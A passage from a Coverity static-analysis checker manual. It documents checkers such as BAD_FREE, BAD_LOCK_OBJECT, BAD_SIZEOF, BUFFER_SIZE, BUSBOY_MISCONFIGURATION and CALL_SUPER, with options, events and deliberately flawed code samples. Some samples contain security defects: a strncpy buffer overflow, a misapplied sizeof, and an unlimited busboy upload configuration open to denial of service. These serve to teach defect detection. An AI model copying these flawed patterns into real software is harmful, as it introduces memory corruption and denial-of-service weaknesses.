    free(s->a);         // array_free  
}
```

Freeing a function pointer:

```
int (*fnptr)(int);  
void fn() {  
    free(fnptr);       // fnptr_free  
}
```

4.25.3. Options

This section describes one or more `BAD_FREE` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `BAD_FREE:allow_first_field:<boolean>` - When this option is set to `true`, the checker suppresses defect reports on the freeing of the address of the first field of a structure, or the first element of the first field, or the first field of the first field, and so on. Because the address of the first field is the same as the address of the containing object, these constructs are harmless. Defaults to `BAD_FREE:allow_first_field:true`

4.25.4. Events

This section describes one or more events produced by the `BAD_FREE` checker.

- `address_compare` - Address of variable compared as equal to a pointer.
- `address_free` - Error freeing address of a variable.
- `array_assign` - Array assigned to pointer.
- `array_compare` - Array compared as equal to a pointer.
- `fnptr_free` - Error freeing function pointer.
- `incorrect_free` - Error freeing pointer to array or address.

4.26. BAD_LOCK_OBJECT

Quality Checker

4.26.1. Overview

Supported Languages: C#, Java

`BAD_LOCK_OBJECT` finds many cases where a critical section is guarded by locking on an inappropriate lock expression, such as an interned string, a boxed Java primitive, or a field whose contents could change during the execution of the critical section. Locking on such bad lock objects could cause nondeterministic behavior or deadlocks.

Enabled by default: `BAD_LOCK_OBJECT` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

4.26.2. Examples

This section provides one or more `BAD_LOCK_OBJECT` examples.

4.26.2.1. C#

```
class BadLockObjectExamples {
    // This is the most correct way to do this. Create an immutable object of
    // type object which is used only as a lock. Do this instead of any of the
    // examples that follow.
    private readonly object myLock = new object();
    public void TheCorrectWay() {
        lock(myLock) {
            /* ... some critical section ... */
        }
    }
    // Yes, C# will let you do this, but it is a very bad idea. String
    // literals are centrally interned and could also be locked on by a library,
    // causing you to potentially have deadlocks or lock collisions with other
    // code.
    public void DontLockOnStringLiterals() {
        lock("") {}
    }

    // This is also a bad idea, for the same reason as the above.
    string strLock = "";
    public void DontLockOnFieldsInitializedWStringLiterals() {
        lock(strLock) {
        }
    }

    // string.Empty has different interning behaviors in different versions of
    // the VM. Locking on string.Empty is especially bad.
    public void EspeciallyDontLockOnStringEmpty() {
        lock(string.Empty) {
        }
    }

    // string.intern returns the canonical, centrally stored copy of a string.
    // It suffers from the same problems as the above.
    public void DontLockOnInternedStrings(string someStr) {
        lock(string.Intern(someStr)) {
        }
    }
    // The object created in the lock statement can only be accessed by
    // one thread. Locking upon it will do nothing.
    public void DontLockOnObjectsThatCanOnlyBeAccessedByOneThread() {
        lock(new object()) {
        }
    }

    // Boxed structs in C# also create a new object which is likely only
    // accessible to the current thread.
    public struct SomeStruct {
        public int x;
        public int y;
    }
}
```

```

public void DontLockOnBoxedStructs(SomeStruct x) {
    lock((object) x) {
    }
}
// One thread can initialize myList to some value and enter
// the critical section. Then a second thread can modify myList and enter
// the critical section. This will likely cause race conditions and
// corrupted data. In this case, it can cause part of the items[] array to
// be added to the old contents of myList, and part to the new contents of
// myList.
ArrayList myList;
public void DontMutateLockedFields(object[] items) {
    if(myList == null) {
        myList = new ArrayList();
    }
    lock(myList) {
        foreach(object item in items) {
            myList.Add(item);
        }
    }
}
// By assigning myList in a critical section guarded by myList, this code is
// allowing other threads to enter the critical section by acquiring a lock
// on a different object. This breaks the protections that locking on
// myList would provide.
public void DontGuardAMutableFieldByLockingOnThatField() {
    lock(myList) {
        myList = new ArrayList();
        /* ... other critical section operations ... */
    }
}
}

```

4.26.2.2. Java

```

class BadLockObjectExamples {
    // This is the most correct way to do this. Create an immutable object of
    // type object which is used only as a lock. Do this instead of any of the
    // examples that follow.
    private final Object myLock = new Object();
    public void TheCorrectWay() {
        synchronized(myLock) {
            /* ... some critical section ... */
        }
    }
    // Yes, Java will let you do this, but it is a very bad idea. String
    // literals are centrally interned and could also be locked on
    // by a library,
    // causing you to potentially have deadlocks or lock collisions
    // with other code.
    public void DontLockOnStringLiterals() {
        synchronized("") {}
    }
}

```

```
// This is also a bad idea, for the same reason as the above.
String strLock = "";
public void DontLockOnFieldsInitializedWStringLiterals() {
    synchronized(strLock) {
    }
}

// String.intern returns the canonical, centrally stored copy of a string.
// It suffers from the same problems as the above.
public void DontLockOnInternedStrings(String someStr) {
    synchronized(someStr.intern()) {
    }
}

// This is a bad idea for the same reason as locking on the empty string.
// Boxed integers within a certain range are guaranteed to be stored in
// the same central location. Thus, you can have locking collisions
// with libraries.
public void DontLockOnBoxedIntegers() {
    synchronized((Integer) 0) {
    }
}

// This is even worse. If someVal can be a value outside of the small range
// where aliasing is guaranteed, the aliasing behavior of the boxed integer
// is not guaranteed at all. It may work differently on different systems
// or between different versions of the JVM.
public void DontLockOnBoxedIntegers2(int someVal) {
    synchronized((Integer) someVal) {
    }
}

// For floats, doubles, and other boxable types, there is no range in which
// the aliasing of a boxed value is guaranteed.
public void DontLockOnFloatsOrDoubles() {
    synchronized((Float) 0.0f) {
    }
}

// BAD_LOCK_OBJECT will notice if a box happens in a field.
Integer intLock = 5;
public void FieldBoxedInt() {
    synchronized(intLock) {
    }
}
// The object created in the synchronized statement can only be accessed by
// one thread. Locking upon it will do nothing.
public void DontLockOnObjectsThatCanOnlyBeAccessedByOneThread() {
    synchronized(new Object()) {
    }
}
```

```

// One thread can initialize myList to some value and enter
// the critical section. Then a second thread can modify myList and enter
// the critical section. This will likely cause race conditions and
// corrupted data. In this case, it can cause part of the items[] array to
// be added to the old contents of myList, and part to the new contents of
// myList.
ArrayList myList;
public void DontMutateLockedFields(Object[] items) {
    if(myList == null) {
        myList = new ArrayList();
    }
    synchronized(myList) {
        for(Object item : items) {
            myList.add(item);
        }
    }
}

// By assigning myList in a critical section guarded by myList, this code is
// allowing other threads to enter the critical section by acquiring a lock
// on a different object. This breaks the protections that locking on
// myList would provide.
public void DontGuardAMutableFieldByLockingOnThatField() {
    synchronized(myList) {
        myList = new ArrayList();
        /* ... other critical section operations ... */
    }
}
}

```

4.26.3. Events

C#, Java

This section describes one or more events produced by the `BAD_LOCK_OBJECT` checker.

- `assign` - [C#, Java] Identifies an expression that assigns an unsuitable lock object to a variable. Used in the `single_thread_lock`, `boxed_lock`, and `interned_string_lock` subcategories.
- `assign_to_field` - [C#, Java] Identifies the point where the locked field was assigned. This event is involved in the `unsafe_assign_to_locked_field` subcategory.
- `boxed_lock` - [Java only] Main event for the `boxed_lock` subcategory: Indicates that the code has locked on a boxed Java primitive.
- `box_primitive` - [Java only] Indicates that a primitive has been boxed into some form of object, which is a possible source of a bad lock object for the `boxed_lock` subcategory.
- `boxed_struct` - [C# only] Identifies a C# object that comes from a boxed struct, which is a possible source of a bad lock object for the `single_thread_lock` subcategory.
- `csharp_string_empty` - [C# only] Identifies a use of the C# static field `String.Empty`, the value of which is interned in some versions of .NET and not in others. This is a possible source of a bad lock object for the `interned_string_lock` subcategory.

- `canonical_origin` - [C#, Java] Indicates that a field is assigned a canonical representation of a string or boxed primitive in another method.
- `getlock` - [C#, Java] Indicates that an unsuitable lock value is used as a lock in a callee. Used in the `boxed_lock` and `interned_string_lock` subcategories.
- `interned_string_lock` - [C#, Java] Main event for the `interned_string_lock` subcategory: Indicates that the code has locked on an interned string.
- `lock_on_assigned_field` - [C#, Java] Main event of the `unsafe_assign_to_locked_field` subcategory: Identifies the point where the assigned field is locked.
- `new_object` - [C#, Java] Identifies an object that was explicitly constructed with `new`, which is a possible source of a bad lock object for the `single_thread_lock` subcategory.
- `numeric_literal` - [Java only] Identifies an integer, floating point, or other primitive literal that is later boxed and used as a lock. This is a possible source of a bad lock object for the `boxed_lock` subcategory.
- `single_thread_lock` - [C#, Java] Main event for the `single_thread_lock` subcategory: Indicates that the code has locked on an object that is not accessible outside of this thread.
- `string_intern` - [C#, Java] Identifies an explicit call to the Java or C# string internment function, which returns an interned representation of the passed-in string. This can be a source of a bad lock object for the `interned_string_lock` subcategory.
- `string_literal` - [C#, Java] Identifies a string literal that is later used as a lock, which is a possible source for the `interned_string_lock` subcategory.
- `use_immutable_object_lock` - [C#, Java] Remediation advice: Recommends that the user set up an immutable field of type `Object` to use as a lock, instead of the current suspicious lock expression.

4.27. BAD_OVERRIDE

Quality Checker

4.27.1. Overview

Supported Languages: C++, Objective-C++

The `BAD_OVERRIDE` checker finds many cases where the code attempts to override a method in a base/parent class, but the method signature does not match, so the override does not occur. For example, it finds many defects in overriding virtual functions due to missing `const` modifiers, which result in type signature mismatches.

The `BAD_OVERRIDE` checker is disabled by default. The `cov-analyze` option must be set using `-co "BAD_OVERRIDE:virtual:true"` to enable the checker.

4.27.2. Examples

This section provides one or more `BAD_OVERRIDE` examples.

The following code compiles but probably does not work as intended:

```
class base
{
    virtual void foo() const { /*...*/ }
};

class child: public base
{
    /* Wg: child::foo is probably meant to override base::foo but
       type signatures don't match perfectly */
    void foo() { /* ... */ } //defect#BAD_OVERRIDE
};
```

The following code shows a defect that is found when you use the `virtual` option:

```
class base1
{
    void foo() const {}
};

class child1: public base1
{
    /* Warning: child1::foo is probably meant to override base1::foo but
       that function is not virtual. */
    // cov-analyze option must be set: -co 'BAD_OVERRIDE:virtual:true'
    void foo() const {} //defect#BAD_OVERRIDE
};
```

4.27.3. Options

This section describes one or more `BAD_OVERRIDE` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `BAD_OVERRIDE:virtual:<boolean>` - When this option is set to true, the checker will report cases in C++ where a method in a derived class has the same signature as a base class method, but the base class method is not virtual, and therefore not overridden (it is merely hidden). Such a case is suspicious, but it might be intentional. Defaults to `BAD_OVERRIDE:virtual:false`

4.27.4. Events

This section describes one or more events produced by the `BAD_OVERRIDE` checker.

- `bad_override` - The method that does not override a parent method.

- `not_overridden` - The parent method that is not overridden.

4.28. BAD_SHIFT

Quality Checker

4.28.1. Overview

Supported Languages: C, C++, C#, Java, Objective-C, Objective-C++

`BAD_SHIFT` finds bit shift operations where the value or the range of possible values for the shift amount (the right operand) is such that the operation might invoke undefined behavior or might not produce the expected result.

Specifically, the checker finds cases where:

- For a left bit shift (`<<`), the shift amount is greater than or equal to the size, in bits, of the type to which the left operand is promoted.
- For a right bit shift (`>>` and also `>>>` for Java), the shift amount is greater than or equal to the size, in bits, of the (unpromoted) left operand.
- The shift amount is negative.

Enabled by default: `BAD_SHIFT` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

4.28.2. Examples

This section provides one or more `BAD_SHIFT` examples.

4.28.2.1. C/C++

In the following C/C++ example, a left shift by a number greater than or equal to the size, in bits, of the type to which the left operand is promoted has undefined behavior.

```
int large_left_shift(int val, int shift_amount)
{
    if (shift_amount < 32) return val;
    // Shift amount is at least 32 which is larger than 31, the maximum
    // valid shift amount for a left operand of type 'int' (on an
    // architecture where 'int' is 4 bytes).
    // This operation has undefined behavior.
    return (val << shift_amount);
}
```

The following example shows a right shift by an amount that is greater than the unpromoted size, in bits, of the shiftee.

```
unsigned int large_right_shift(unsigned char val, int shift_amount)
{
    if (shift_amount < 8) return val;
    // Shift amount is at least 8 which is larger than 7, the maximum
    // useful shift amount for a left operand of type 'char'.
    // This operation is well-defined, but always yields zero.
    return (val >> shift_amount);
}
```

4.28.2.2. C# and Java

In the following example, a defect is reported for a left shift operation with a right operand larger or equal to the size, in bits, of the promoted left operand. In that situation, the actual shift amount is obtained by applying a bit mask to the right operand. The bit mask value is `0x1F` (31) when the left operand is promoted to `int`, or `0x3F` (63) when promoted to `long`.

```
int large_left_shift(int val, int shift_amount)
{
    if (shift_amount < 32) return val;
    // Shift amount is at least 32, a bit mask of 0x1F is applied to
    // the shift amount (shift_amount & 0x1F).
    return (val << shift_amount);
}
```

4.28.3. Events

This section describes one or more events produced by the `BAD_SHIFT` checker.

- `large_shift` - The right operand of a shift operation is larger than the maximum permissible amount.
- `negative_shift` - The right operand of a shift operation is negative.

4.29. BAD_SIZEOF

Quality, Security Checker

4.29.1. Overview

Supported Languages: C, C++, Objective-C, Objective-C++

`BAD_SIZEOF` reports the use of the `sizeof` operator when the argument is one of several suspicious categories such as the address of an object (usually the size of the actual object is intended). Unintended size values can lead to a variety of issues, such as insufficient or excessive allocation, buffer overruns, partial initialization or copying, and logic inconsistencies.

`BAD_SIZEOF` reports `sizeof` operators that are applied to:

- A function parameter that has a pointer type.

- The C++ `this` pointer.
- The address of an object.
- A pointer arithmetic expression.

Incorrect size values can lead to a variety of issues, such as insufficient or excessive allocation, buffer overruns, partial initialization or copying, and logic inconsistencies.

Fixing these defects depends on what you intended the code to do. If the `sizeof` is genuinely incorrect, you can often solve these issues by removing a level of indirection from the operand of `sizeof`, or by adjusting the placement of parentheses.

Enabled by default: `BAD_SIZEOF` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

4.29.2. Examples

This section provides one or more `BAD_SIZEOF` examples.

In the following example, `param_not_really_an_array` looks syntactically like an array, but is actually a pointer. When you apply the `sizeof` operator to the pointer, it yields the size of a pointer (typically 4 or 8 bytes), and not the expected 10 bytes. Note that `sizeof(<pointer>)` is also reported by `SIZEOF_MISMATCH`.

```
void f(char param_not_really_an_array[10])
{
    /* Defect */
    memset(param_not_really_an_array, 0, sizeof(param_not_really_an_array)); //
    defects BAD_SIZEOF, SIZEOF_MISMATCH
}
```

In the following example, the `sizeof` operator is applied to the address of `s` rather than to `s` itself:

```
short s;
memset( &s, 0, sizeof(&s)); //defect#BAD_SIZEOF //defect#SIZEOF_MISMATCH //
#defect#OVERRUN
```

In the following example, the `sizeof` operator is applied to the pointer arithmetic expression `buf - 3`. The expression has type `char*` and is likely 4 or 8 bytes in size:

```
char buf[100];
buf[0] = 'x';
buf[1] = 'y';
buf[2] = 'z';
int sz = sizeof(buf - 3); //defect SIZEOF_MISMATCH //defect#BAD_SIZEOF
memset(buf + 3, 0, sz); //defect SIZEOF_MISMATCH
```

In the following example, the `sizeof` is applied to the `this` pointer rather than to the `*this` object, which yields an incorrect value for the size of the object:

```
private:
    int m_var;
public:
    size_t getObjectSize() const
    {
        /* Defect */
        return sizeof(this); //#defect#BAD_SIZEOF
    }

```

4.29.3. Options

This section describes one or more `BAD_SIZEOF` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `BAD_SIZEOF:report_pointers:<boolean>` - When this option is set to `true`, the checker reports defects if a `sizeof` operator is used to obtain the size of almost any pointer. Defaults to `BAD_SIZEOF:report_pointers:false`

Example:

```
int *p_int = malloc(10 * sizeof(p_int));
/* Defect: sizeof(*p_int) intended */

int *q_int;
memcpy(&q_int, &p_int, sizeof(p_int)); /* Intentional:
    legitimate use of sizeof applied to a pointer */

```

Certain common idioms that are related to arrays of pointers are automatically exempted even when `report_pointers:true` is specified:

```
char *array_of_ptr_to_char[10];

size_t total_bytes = 10 * sizeof(array_of_ptr_to_char[0]);
/* would normally be reported */

size_t total_bytes2 = 10 * sizeof(*array_of_ptr_to_char);
/* pointer/array equivalence */

/* denominator would normally be reported */
int num_elems = sizeof(array_of_ptr_to_char) / sizeof(array_of_ptr_to_char[0]);

char **ptr_to_ptr_to_char = array_of_ptr_to_char;

int num_elems2 = total_bytes / sizeof(*ptr_to_ptr_to_char);
/* more pointer/array equivalence */

```

4.29.4. Events

This section describes one or more events produced by the `BAD_SIZEOF` checker.

- `bad_sizeof` - A `sizeof` operator on the subsequent line is questionable.

4.30. BUFFER_SIZE

Quality, Security Checker

4.30.1. Overview

Supported Languages: C, C++, Objective-C, Objective-C++

`BUFFER_SIZE` finds many cases of possible buffer overflows due to incorrect size arguments being passed to buffer manipulation functions. These incorrect arguments, when passed to functions such as `strncpy()` or `memcpy()`, can cause memory corruption, security defects, and program crashes. To enable this checker, use the `-en BUFFER_SIZE` option. This option also enables `BUFFER_SIZE_WARNING`.

This checker reports a `BUFFER_SIZE` defect when it finds a function passed a size argument that will overflow the buffer target. It issues a warning, `BUFFER_SIZE_WARNING`, when the size argument is the exact size of the buffer target, leaving no room for a null terminator.

This checker analyzes calls to the following functions:

- `strncpy`, `memcpy`, `fgets`, `memmove`, `wmemmove`, `memset`, `strxfrm`
- `wcxfm`, `wcsncpy`, `wcsncat`
- `lstrcpyn`, `strcpynw`
- `StrCpyN`, `StrCpyNA`, `StrCpyNW`
- `_mbsncpy`, `_tcsncpy`, `_mbsncat`, `_tcsncat`, `_tcsxfrm`

Disabled by default: `BUFFER_SIZE` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

Security checker enablement: To enable `BUFFER_SIZE` along with other security checkers, use the `--security` option with the `cov-analyze` command.

4.30.2. Examples

This section provides one or more `BUFFER_SIZE` examples.

In the following example, a call to `strncpy()` generates an error because the length of the source string is twenty characters, but the destination string can only have a maximum of 10 characters:

```
void buffer_size_example() {
    static char source[] = "Twenty characters!!!";
    char dest[10];
```

```
    strncpy(dest, source, strlen(source));  
}
```

4.30.3. Options

This section describes one or more `BUFFER_SIZE` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `BUFFER_SIZE:report_fixed_size_dest:<boolean>` - When this option is set to `true`, the checker reports defects when the destination size is known, but the source size is not (for example, a pointer). These are potential overflows because the source could be arbitrarily large and should be length checked before being passed to the copy routine. By default, defects are not reported unless both source and destination sizes are known. Defaults to `BUFFER_SIZE:report_fixed_size_dest:false`

4.30.4. Events

This section describes one or more events produced by the `BUFFER_SIZE` checker.

- `buffer_size` - A buffer manipulation function was called with a possibly incorrect size argument.

4.31. BUFFER_SIZE_WARNING

Quality, Security Checker

4.31.1. Overview

Supported Languages: C, C++, Objective-C, Objective-C++

See `BUFFER_SIZE`.

4.32. BUSBOY_MISCONFIGURATION

Security Checker

4.32.1. Overview

Supported Languages: JavaScript, TypeScript

`BUSBOY_MISCONFIGURATION` finds cases where the `busboy` plugin for an `Express` application is misconfigured and might allow a denial of service attack. Possible misconfigurations include:

- Unrestricted number of file and non-file fields in an upload request. The file fields are specified by the `files` property, the non-file fields are specified by the `fields` property, and the total number of file and non-file fields in a multipart request can be specified with the `parts` property.

- Unlimited size of the uploaded file. The maximum size of the uploaded file is specified by the `fileSize` property.
- Using a user-specified path for storing the files with the `preservePath` option set to `true`.

Disabled by default: `BUSBOY_MISCONFIGURATION` is disabled by default. To enable it, you can use the `--enable` option to the **cov-analyze** command.

Web application security checker enablement: To enable `BUSBOY_MISCONFIGURATION` along with other Web application checkers, use the `--webapp-security` option.

4.32.2. Examples

This section provides one or more `BUSBOY_MISCONFIGURATION` examples.

In the following example, a `BUSBOY_MISCONFIGURATION` defect is displayed for the instantiation of a `busboy` plugin because the passed options do not contain any limits on the number of file or non-file fields.

```
var express = require('express');
var router = express.Router();
var Busboy = require('busboy');

router.post('/', function(req, res) {
  var busboy = new Busboy({ // BUSBOY_MISCONFIGURATION defect
    headers: req.headers,
    limits: {
      fileSize: 150,
      fileSize: 1024
    }
  });
  busboy.on('file', function(fieldname, file, filename, encoding, mimetype) {
    console.log('File [' + fieldname + ']: filename: ' + filename + ', encoding: '
      + encoding + ', mimetype: ' + mimetype);
  });
});
```

4.33. CALL_SUPER

Quality Checker

4.33.1. Overview

Supported Languages: C#, Java, and Visual Basic

`CALL_SUPER` finds many cases where a method is overridden, and the overriding method should call the superclass (for Java) or base class (for C# and Visual Basic) implementation, but it does not. The checker has a built-in list of methods for which all overriders should call the superclass or base class implementation. For others, it deduces that requirement by statistically analyzing the code that is undergoing analysis.

By default, if 65% or more of a overrides for a given method call the base class, all non-calling overrides will be reported as defects. Often, the base class or superclass implementation contains required functionality that must be executed for correct implementation. If most of the overrides call the base class or superclass, the overrides that do not might be in error. The programmer might have forgotten to include the base class or superclass call. This can lead to hard-to-diagnose errors and unanticipated behavior.

Note that the statistical analysis might lead to a high false positive rate depending on the application that is undergoing analysis analyzed. You can increase the threshold option to suppress some false positives in your Java, C#, or Visual Basic code base.

In Java, because all implementations of `Object.clone` are required to call `super.clone()`, `CALL_SUPER` reports a missing call to `super.clone()` as a defect regardless of the statistical threshold. In addition, a defect is reported if a call to `Object.finalize()` does not call `super.finalize()`. You can change this with the `CALL_SUPER:use_must_call_list: option`.

Enabled by default: `CALL_SUPER` is enabled by default. For enablement/disablement details and options, see Section 1.2, "Enabling and Disabling Checkers".

Android (Java only): For Android-based code, this checker finds issues related to user activities, screen activities, application state, and other items.

4.33.2. Examples

This section provides one or more `CALL_SUPER` examples.

4.33.2.1. C#

In this example, `DerivedGood1::Foo` and `DerivedGood2::Foo` both call their base implementation from `Base`, however, `DerivedBad::Foo` does not. A defect is reported for `DerivedBad::Foo` since the default threshold (see `threshold` option) is exceeded.

```
using System;

class Base {
    public virtual void Foo() {
        Console.WriteLine("Doing something important");
    }
}

class DerivedGood1 : Base {
    public override void Foo() {
        base.Foo();
        Console.WriteLine("Something else important");
    }
}

class DerivedGood2 : Base {
    public override void Foo() {
        base.Foo();
    }
}
```

```

        Console.WriteLine("Something else important");
    }
}
class DerivedBad : Base {
    //A CALL_SUPER defect.
    public override void Foo() {
        // Forgot to call base.Foo()!
        Console.WriteLine("Something else important");
    }
}
}

```

4.33.2.2. Java

In this example, `CallSuperExample1::clone` does not call its super implementation from `Object`. This leads to an invalid cast exception in `Sub::clone` when it attempts to cast the result of its super call to `clone` to `Sub`. A defect is reported for `Sub::clone` in this case.

```

public class CallSuperExample1 {
    @Override
    protected Object clone() throws CloneNotSupportedException {
        //missing super()
        return new CallSuperExample1();
    }

    class Sub extends CallSuperExample1 {
        int f;
        protected Object clone() throws CloneNotSupportedException {
            Sub s = (Sub) super.clone(); // Cast should succeed but does not.
            s.f = this.f;
            return s;
        }
    }
}

```

In this example, `A::sample` and `B::sample` both call their base implementation from `CallSuperExample2`, however, `C::sample` does not. A defect is reported for `C::sample` because the default threshold (see `threshold` option) is exceeded.

```

public class CallSuperExample2 {

    public void sample() {
        System.out.println("A sample method!");
    }

    class A extends CallSuperExample2{
        public void sample() {
            super.sample();
        }
    }

    class B extends CallSuperExample2{
        public void sample() {

```

```

        super.sample();
    }
}

class C extends CallSuperExample2{
    public void sample() {
        //missing super()
        return;
    }
}
}

```

4.33.2.3. Visual Basic

In this example, `DerivedGood1::Foo` and `DerivedGood2::Foo` both call their base implementation from `Base`, however, `DerivedBad::Foo` does not. A defect is reported for `DerivedBad::Foo` since the default threshold (see `threshold` option) is exceeded.

```

Imports System
Class Base
    Public Overridable Sub Foo()
        Console.WriteLine("Doing something important")
    End Sub
End Class
Class DerivedGood1 : Inherits Base
    Public Overrides Sub Foo()
        MyBase.Foo()
        Console.WriteLine("Something else important")
    End Sub
End Class
Class DerivedGood2 : Inherits Base
    Public Overrides Sub Foo()
        MyBase.Foo()
        Console.WriteLine("Something else important")
    End Sub
End Class
Class DerivedBad : Inherits Base
    ' CALL_SUPER defect.
    Public Overrides Sub Foo()
        ' Forgot to call MyBase.Foo()
        Console.WriteLine("Something else important")
    End Sub
End Class

```

4.33.3. Options

C#, Java, and Visual Basic

This section describes one or more `CALL_SUPER` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `CALL_SUPER:report_empty_overrides:<boolean>` - When this option is set to `false` (default for C# and Visual Basic), the checker will not report a defect on a method with an empty implementation (as in `{ }`) because the developer might have intended that the method not call super. When `true` (default for Java), empty methods are treated like non-empty methods are treated. Defaults to `CALL_SUPER:report_empty_overrides:true` (for Java). Defaults to `CALL_SUPER:report_empty_overrides:false` (for C# and Visual Basic).
- `CALL_SUPER:threshold:<ratio>` - This option sets the minimum fraction of method overriders that must call the base class implementation before defects are reported on those that do not. For `<ratio>`, enter a floating point number between 0 and 1. Defaults to `CALL_SUPER:threshold:.65` (for C#, Java, and Visual Basic).

This checker option is automatically set to `.55` if the `--aggressiveness-level` option of **cov-analyze** is set to `medium` (or to `high`).

This example changes the ratio to `.80`:

```
-co CALL_SUPER:threshold:.80
```

- `CALL_SUPER:use_must_call_list:<boolean>` - This option determines whether `CALL_SUPER` uses its built-in list of methods whose superclass implementation must be called from overriders. For C#, this list consists of `Dispose`, `Close`, and some methods in the `System.Windows.Forms` API that are documented with the strong suggestion to call the implementation of the base class. For Java, this list consists of `clone`, `finalize`, and a number of Android API methods. If `true`, any overrider of a `use_must_call_list` method is expected to call the super implementation, regardless of statistical evidence. Defaults to `CALL_SUPER:use_must_call_list:true` (for C#, Java, and Visual Basic).

4.33.4. Annotations

Java only

For Java, `CALL_SUPER` looks for the `OverridersMustCall` and `OverridersNeedNotCall` annotations, which you can use to explicitly tag methods with the appropriate behavior. These annotations override the default inferences that the checker uses.

For example, the following example shows how to annotate the `CallSuperExample3` class so that the `CALL_SUPER` checker understands that overriders of `sample()` must call the superclass implementation:

```
import com.coverity.annotations.OverridersMustCall;

class CallSuperExample3 {
    @OverridersMustCall
    public void sample() {
        //Do something.
    }
}

// Despite the lack of statistical evidence,
```

```
// the previous annotation means that calling super is mandatory.
class OverridersMustCallExample extends CallSuperExample3 {
    @Override
    public void sample() {
        //Defect, missing call to superclass
    }
}
```

See Section 5.4.2, “Adding Java Annotations to Increase Accuracy” and the Javadoc documentation at install_dir/doc/en|ja|ko|zh-cn/annotations/index.html for more information.

4.33.5. Events

C#, Java, and Visual Basic

This section describes one or more events produced by the `CALL_SUPER` checker.

- `missing_super_call` - Shows the first non-comment line of the overrider that failed to call the base class.
- `called_super` - Shows an overrider that did call the base class. Up to five `called_super` events are shown for context.
- `superclass_implementation` - Shows the body of the base class implementation, to help determine whether super should be called.

4.34. CHAR_IO

Quality Checker

4.34.1. Overview

Supported Languages: C, C++, Objective-C, Objective-C++

`CHAR_IO` reports a defect when the return value of a call to one of several `stdio` functions or `wchar_t` functions (`getwc`, `getwchar`, `fputwc`, etc) is incorrectly assigned to a `char`-typed variable instead of an `int`-typed variable. The return values of those functions should not be assigned to a `char` or a `wchar_t`. Typically, such assignments make the program confuse certain input characters with the end of file marker (EOF), causing the input data to be corrupted.

The checker analyzes functions `fgetc`, `getc`, `getchar`, and `istream::get()`, which return `int` values, not `char` values.

Assigning an `int` value to a `char` variable truncates the value. If the `char` variable is unsigned, the low-order 8 bits of the `int` value are not put into the `char` variable, which is a modulo operation if the `int` value is non-negative. If the `int` value is `-1`, the low-order 8 bits of the representation of `-1` are put into the `char` variable, which results in a value of `255`. If the `char` variable is signed, an `int` value of `-1` remains `-1` in the `char` variable, but any `int` value greater than `127` becomes a negative value in the `char` variable. Using a signed `char` variable is also unsafe. A stray `0xFF` byte (ÿ character in ISO-8859-1 encoding) will cause

the program to erroneously think that EOF is reached. The C standard requires passing such functions an integer in the range of -1 to 255. A signed char variable can potentially have values as low as -128.

Enabled by default: `CHAR_IO` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

4.34.2. Examples

This section provides one or more `CHAR_IO` examples.

The following example shows the returned value of the `getchar()` function assigned to a char variable.

```
int char_io() {
    char c;
    c = getchar(); // Returns an int value to c, which is a char
}
```

The following example shows the returned value of the `getwchar()` function assigned to a `wchar_t` variable.

```
void fnw() {
    wchar_t wc;
    wc = getwchar(); // char_io
}
```

4.34.3. Events

This section describes one or more events produced by the `CHAR_IO` checker.

- `char_io`: Indicates when an int value is assigned to a char variable.

4.35. CHECKED_RETURN

Quality Checker

4.35.1. Overview

Supported Languages: C, C++, Go, Java, Objective-C, Objective-C++

`CHECKED_RETURN` finds many cases where the return value of a function is ignored when it should have been checked. For example, it detects the case where the code neglects to handle an error code returned from a system call. This is a statistical type checker: it determines which functions should be checked based on use patterns. For this checker, you establish the pattern as a ratio between the number of times the return value of a function is checked and the total number of times that function is called.

You can produce a file (`<intermediate_directory>/output/checked-return.csv`) that stores information about the percentage of times that the return value of each function is checked, by using the `--enable-callgraph-metrics` option to **cov-analyze** when running this checker. This information

can help you understand situations where the statistical checkers report different defects in local builds than they do in full builds.

Note that unlike `USELESS_CALL` analysis, `CHECKED_RETURN` analysis typically concern functions that have side effects. Additionally, `CHECKED_RETURN` examines how the return value is used and, unlike `USELESS_CALL`, might report a defect when a return value is used. Finally, `CHECKED_RETURN` only applies with scalar return types (see also `NULL_RETURNS`).

Enabled by default: `CHECKED_RETURN` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

For C/C++

The `CHECKED_RETURN` checker finds instances of inconsistencies in how function return values are handled. For example, it detects the case where the code neglects to handle an error code returned from a system call that the code does check in other places.

Ignoring returned function error codes and assuming that an operation was successful can cause incorrect program behavior, and in some cases system crashes. The only way to suppress returned function error codes is to cast the called function result to a `void`.

For the following functions (which read data from a byte-oriented input, store it into a buffer, and return the number of bytes that have been copied to the buffer or a negative value), `CHECKED_RETURN` also reports issues if the returned value is not used or is not compared to 0. In such cases, the buffer can potentially be accessed outside of the range where the data has been copied by the read operation.

- `size_t read(int fd, void *buf, size_t count);`
- `size_t fread(void *buf, size_t size, size_t count, FILE *fp);`

Example:

```
int f(int fd)
{
    char buf[10];
    if (read(fd, buf, 10) < 0)
        return -1;
    return buf[9];
}
```



Note

The `CHECKED_RETURN` checker does not check overloaded comparison operators that are used as function arguments (for example, the `!=` operator).

For Java

Java methods typically throw exceptions to indicate errors, but occasionally programmers use return values to indicate special cases. `CHECKED_RETURN` is a statistical checker that determines whether the return value of a method should be tested after each call.

This `CHECKED_RETURN` performs the following actions:

- Examines the number of call sites for each method that return a primitive value (see the following for default methods).
- Counts the number of times the return value is checked.

If the ratio of checked call sites to total call sites is greater than 80 percent (which can be changed with the `stat_threshold` option), defects are reported at call sites of methods that need to be checked where the value is not checked or used at all.

By default, `CHECKED_RETURN` checks the following methods:

- `java.io.InputStream`
 - `read()`
 - `read(byte[])`
 - `read(byte[], int, int)`
 - `skip(long)`
